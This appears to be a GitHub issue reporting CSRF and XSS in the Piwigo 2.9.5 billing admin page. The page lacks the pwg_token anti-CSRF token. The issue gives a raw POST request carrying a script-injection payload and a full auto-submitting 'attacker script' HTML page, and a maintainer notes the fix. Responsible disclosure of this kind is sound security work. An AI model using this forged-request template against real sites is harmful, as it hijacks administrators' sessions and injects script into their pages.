Hello, there is a CSRF and XSS on Piwigo version 2.9.5, on path /admin.php?page=account_billing
similar as #822 but this one are fixed. i made a .gif for example. The problem is that the anti-csrf token called "pwg_token" is not present o that page, and all parameters of billing endpoint are vulnerable to XSS.
The request above illustrated the fact.
################################################
Hello, there is a CSRF and XSS on Piwigo version 2.9.5, on path **/admin.php?page=account_billing**
similar as #822 but this one are fixed. i made a .gif for example. The problem is that the anti-csrf token called "pwg_token" is not present o that page, and all parameters of billing endpoint are vulnerable to XSS.

The request above illustrated the fact.
################################################
```
POST /admin.php?page=account_billing HTTP/1.1
Host: pocs.piwigo.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:67.0) Gecko/20100101 Firefox/67.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 151
DNT: 1
Connection: close
Cookie: pwg_id=tu9uscakg4ogosqtna789j24l5
Upgrade-Insecure-Requests: 1
billing_country=BR&vat_number=xssa&billing_name=xssa%22%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E&company=xssb&billing_address=xssc&submitBillingInfos=
```
################################################
Attacker script:
```
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8" />
<title>CSRF PoC</title>
<style type="text/css">
body {
display:flex;
flex-direction:column;
justify-content:center;
min-height:100vh;
margin:0;
}
p {
display:flex;
align-self:center;
font-size:0.8rem;
font-family:sans-serif;
font-weight:bold;
text-transform:uppercase;
letter-spacing:0.1rem;
}
</style>
</head>
<body>
<p>CSRF PoC Billing Admin</p>
<html>
<form id="myForm" action="https://pocs.piwigo.com/admin.php?page=account_billing" method="POST">
<input type="hidden" name="billing_country" value="BR" />
<input type="hidden" name="vat_number" value="xssa" />
<input type="hidden" name="billing_name" value="xssa"><script>alert(1)</script>" />
<input type="hidden" name="company" value="xssb" />
<input type="hidden" name="billing_address" value="xssc" />
<input type="hidden" name="submitBillingInfos" value="" />
<script>
function submitform()
{
document.getElementById("myForm").submit();
}
onload=submitform();
</script>
</form>
</body>
</html>
```
<!-- github-sync-id:461220574 -->
Blocking a user prevents them from interacting with repositories, such as opening or commenting on pull requests or issues. Learn more about blocking a user.
Hello, there is a CSRF and XSS on Piwigo version 2.9.5, on path /admin.php?page=account_billing
similar as #822 but this one are fixed. i made a .gif for example. The problem is that the anti-csrf token called "pwg_token" is not present o that page, and all parameters of billing endpoint are vulnerable to XSS.
The request above illustrated the fact.
################################################
################################################
Attacker script:
OK, fixed on production. This issue is very specific to Piwigo.com, not applicable to Piwigo.